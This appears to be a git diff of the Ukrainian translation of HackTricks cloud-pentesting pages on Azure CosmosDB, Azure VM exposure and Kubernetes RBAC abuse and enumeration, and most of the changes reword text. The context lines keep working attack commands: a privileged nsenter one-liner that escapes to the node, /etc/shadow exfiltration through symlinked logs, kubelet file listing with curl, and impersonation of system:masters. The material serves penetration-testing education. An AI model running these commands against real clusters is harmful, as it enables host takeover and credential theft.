diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6172b28d3..d05776c71 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -398,7 +398,8 @@ - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md) - - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md) + - [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) + - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) - [Az - Services](pentesting-cloud/azure-security/az-services/README.md) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index debf1c5a6..2b91232c9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -17,14 +17,14 @@ Learn & practice GCP Hacking: .documents.azure.com:443/ У межах облікового запису ви можете створити одну або кілька баз даних, які слугують логічними групами контейнерів. База даних діє як межа для управління ресурсами та правами користувачів. Бази даних можуть або ділити виділену пропускну здатність між своїми контейнерами, або виділяти окрему пропускну здатність для індивідуальних контейнерів. #### Контейнери -Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запиту. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу. +Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запитування. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу. #### Перерахування @@ -215,7 +215,7 @@ mongodb://:/ У MongoDB ви можете створити одну або кілька баз даних в межах екземпляра. Кожна база даних слугує логічною групою колекцій і забезпечує межу для організації та управління ресурсами. Бази даних допомагають логічно розділяти та управляти даними, наприклад, для різних додатків або проектів. #### Колекції -Основною одиницею зберігання даних у MongoDB є колекція, яка містить документи і призначена для ефективного запитування та гнучкого проектування схеми. Колекції еластично масштабуються і можуть підтримувати операції з високою пропускною здатністю на кількох вузлах у розподіленій системі. +Основною одиницею зберігання даних у MongoDB є колекція, яка містить документи і призначена для ефективного запитування та гнучкого проектування схеми. Колекції еластично масштабуються і можуть підтримувати операції з високою пропускною здатністю на кількох вузлах у розподіленій конфігурації. #### Перерахування @@ -352,15 +352,13 @@ print(f"Inserted document with ID: {result.inserted_id}") * Ознайомтеся з постексплуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв * Ознайомтеся з відновленнями - - {% hint style="success" %} Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримати HackTricks +Підтримайте HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md deleted file mode 100644 index 5f8d0d465..000000000 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +++ /dev/null @@ -1,37 +0,0 @@ -# Az - VMs Unath - -{{#include ../../../banners/hacktricks-training.md}} - -## Віртуальні машини - -Для отримання додаткової інформації про віртуальні машини Azure дивіться: - -{{#ref}} -../az-services/vms/ -{{#endref}} - -### Вразлива відкрита служба - -Мережева служба, яка вразлива до деякого RCE. - -### Публічні зображення галереї - -Публічне зображення може містити секрети всередині нього: -```bash -# List all community galleries -az sig list-community --output table - -# Search by publisherUri -az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']" -``` -### Публічні розширення - -Це було б більш дивно, але не неможливо. Велика компанія може помістити розширення з чутливими даними всередині нього: -```bash -# It takes some mins to run -az vm extension image list --output table - -# Get extensions by publisher -az vm extension image list --publisher "Site24x7" --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 9a5668e09..90a9bc6d5 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для підробки облікового запису служби. Фактично підвищуючи привілеї до нього. +Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього. Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому: ```yaml @@ -76,8 +76,8 @@ hostNetwork: true Наступне вказує на всі привілеї, які може мати контейнер: -- **Привілейований доступ** (вимкнення захистів і налаштування можливостей) -- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти в ескалації привілеїв +- **Привілейований доступ** (вимкнення захистів та налаштування можливостей) +- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї - **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж - **Монтування хостів / всередині контейнера** ```yaml:super_privs.yaml @@ -119,7 +119,7 @@ path: / ```bash kubectl --token $token create -f mount_root.yaml ``` -Однорядковий з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: +Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` @@ -211,7 +211,7 @@ kubectl port-forward pod/mypod 5000:5000 Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою 2 способами: -- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши: +- Модифікація файлу `0.log` свого контейнера (зазвичай розташованого в `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **символічним посиланням на `/etc/shadow`** наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -219,7 +219,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym` на `/` і коли **використовуючи `https://:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів). +- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym` на `/` і коли **доступаючи до `https://:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -293,11 +293,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Видавання себе за привілейовані облікові записи** +### **Імітація привілейованих облікових записів** -З привілеєм [**видавання себе за користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може видати себе за привілейований обліковий запис. +З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис. -Просто використовуйте параметр `--as=` в команді `kubectl`, щоб видати себе за користувача, або `--as-group=`, щоб видати себе за групу: +Просто використовуйте параметр `--as=` в команді `kubectl`, щоб імітувати користувача, або `--as-group=`, щоб імітувати групу: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -318,7 +318,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ``` ### Створення та читання секретів -Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів служби. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису служби, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису служби жертви з нього: +Існує особливий тип секрету Kubernetes **kubernetes.io/service-account-token**, який зберігає токени облікових записів служби. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису служби, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису служби жертви з нього: ```yaml apiVersion: v1 kind: Secret @@ -387,7 +387,7 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso ### Запити на підписання сертифікатів -Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла**. +Якщо у вас є дієслова **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.** Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `/` або `/*` @@ -422,9 +422,9 @@ resourceNames: verbs: - approve ``` -Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**. +Отже, з новим затвердженим CSR вузла, ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**. -У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім зловживається для підвищення привілеїв шляхом викрадення секретів.\ +У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.\ Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.** Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості): @@ -481,7 +481,7 @@ groups: ### Ескалація в GKE -Є **2 способи призначити K8s дозволи для GCP принципів**. У будь-якому випадку принцип також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням). +Є **2 способи призначити K8s дозволи для GCP принципів**. У будь-якому випадку принцип також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати власний файл конфігурації kubectl** (перейдіть за наступним посиланням). > [!WARNING] > Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\ @@ -501,7 +501,7 @@ groups: ### ephemeralcontainers -Принципи, які можуть **`оновлювати`** або **`патчити`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext. +Принципи, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext. ### ValidatingWebhookConfigurations або MutatingWebhookConfigurations @@ -511,8 +511,8 @@ groups: ### Ескалація -Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі без наявності у себе цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\ -Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що у нього є. +Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\ +Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має. ### Проксі вузлів @@ -539,11 +539,11 @@ kubectl delete pods -n kube-system ``` ### Стан сервісів (CVE-2020-8554) -Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають ExternalIP сервісам (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Стан вузлів і подів -Принципали з **`update`** або **`patch`** дозволами на `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування. +Принципали з **`update`** або **`patch`** дозволами над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування. ## Вбудоване запобігання ескалації привілеїв @@ -649,7 +649,7 @@ kubectl describe po nginx | grep "Image: " #### Technicalities -Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати: +Скрипт `./deploy.sh` встановлює контролер доступу з мутацією вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -678,7 +678,7 @@ Value: "rewanthtammana/malicious-image", ### **Ролі, специфічні для простору імен, замість ролей на рівні кластера** -- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles та RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles та ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів. +- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів. ### **Використовуйте автоматизовані інструменти** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index f7732fd73..a643de293 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -16,7 +16,7 @@ Витягнуто з [документації Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): -_“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, йому автоматично призначається_ обліковий запис служби _за замовчуванням у тій же області.”_ +_“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, він автоматично призначається_ за замовчуванням _обліковому запису служби в тому ж просторі імен.”_ **ServiceAccount** - це об'єкт, яким керує Kubernetes і який використовується для надання ідентичності для процесів, що виконуються в поді.\ Кожен обліковий запис служби має секрет, пов'язаний з ним, і цей секрет містить токен доступу. Це JSON Web Token (JWT), метод для безпечного представлення вимог між двома сторонами. @@ -55,7 +55,7 @@ _**Гарячі поди**_ - це поди, що містять токен об ## GUI Applications -- **k9s**: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Напишіть `:namespace` і виберіть всі, щоб потім шукати ресурси в усіх просторах імен. +- **k9s**: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Напишіть `:namespace` і виберіть всі, щоб потім шукати ресурси у всіх просторах імен. - **k8slens**: Пропонує кілька безкоштовних днів пробного періоду: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet @@ -68,11 +68,11 @@ _**Гарячі поди**_ - це поди, що містять токен об З цими деталями ви можете **перерахувати kubernetes**. Якщо **API** з якоїсь причини **доступний** через **Інтернет**, ви можете просто завантажити цю інформацію та перерахувати платформу з вашого хоста. -Однак зазвичай **API сервер знаходиться всередині внутрішньої мережі**, тому вам потрібно буде **створити тунель** через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете **завантажити** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) бінарний файл, або використовувати **`curl/wget/anything`** для виконання сирих HTTP запитів до API сервера. +Однак зазвичай **API сервер знаходиться всередині внутрішньої мережі**, тому вам потрібно буде **створити тунель** через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете **завантажити** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) бінарний файл або використовувати **`curl/wget/anything`** для виконання сирих HTTP запитів до API сервера. ### Differences between `list` and `get` verbs -З **`get`** дозволами ви можете отримати інформацію про конкретні активи (_`describe` опція в `kubectl`_) API: +З **`get`** дозволами ви можете отримувати інформацію про конкретні активи (_`describe` опція в `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` @@ -109,7 +109,7 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> За замовчуванням под може **доступатися** до **kube-api сервера** в доменному імені **`kubernetes.default.svc`** і ви можете побачити kube мережу в **`/etc/resolv.config`**, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api). +> За замовчуванням под може **доступатися** до **kube-api сервера** за доменним ім'ям **`kubernetes.default.svc`** і ви можете побачити kube мережу в **`/etc/resolv.config`**, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api). ### Використання kubectl @@ -121,7 +121,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls- ``` > якщо в URL немає `https://`, ви можете отримати помилку, схожу на Bad Request. -Ви можете знайти [**офіційний cheatsheet kubectl тут**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів - представити в упорядкованому вигляді різні варіанти для перерахунку та розуміння нового K8s, до якого ви отримали доступ. +Ви можете знайти [**офіційний kubectl cheatsheet тут**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів - представити в упорядкованому вигляді різні варіанти для перерахунку та розуміння нового K8s, до якого ви отримали доступ. Щоб знайти HTTP-запит, який надсилає `kubectl`, ви можете використовувати параметр `-v=8` @@ -383,7 +383,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets ### Отримати cronjob -Cron jobs дозволяють запланувати запуск пода, який виконає певну дію, використовуючи синтаксис, подібний до crontab. +Cron jobs дозволяють запланувати запуск поду, який виконає певну дію, використовуючи синтаксис, подібний до crontab. {{#tabs }} {{#tab name="kubectl" }} @@ -461,11 +461,11 @@ k top pod --all-namespaces ## Взаємодія з кластером без використання kubectl -Оскільки контрольна площина Kubernetes відкриває REST-ful API, ви можете вручну створювати HTTP-запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**. +Оскільки контрольна площина Kubernetes відкриває REST-ful API, ви можете вручну створювати HTTP запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**. -### Вихід з пода +### Втеча з пода -Якщо ви можете створювати нові поди, ви можете вийти з них на вузол. Для цього вам потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи. +Якщо ви можете створювати нові поди, ви можете втекти з них на вузол. Для цього вам потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи. ```bash kubectl get pod [-n ] -o yaml ```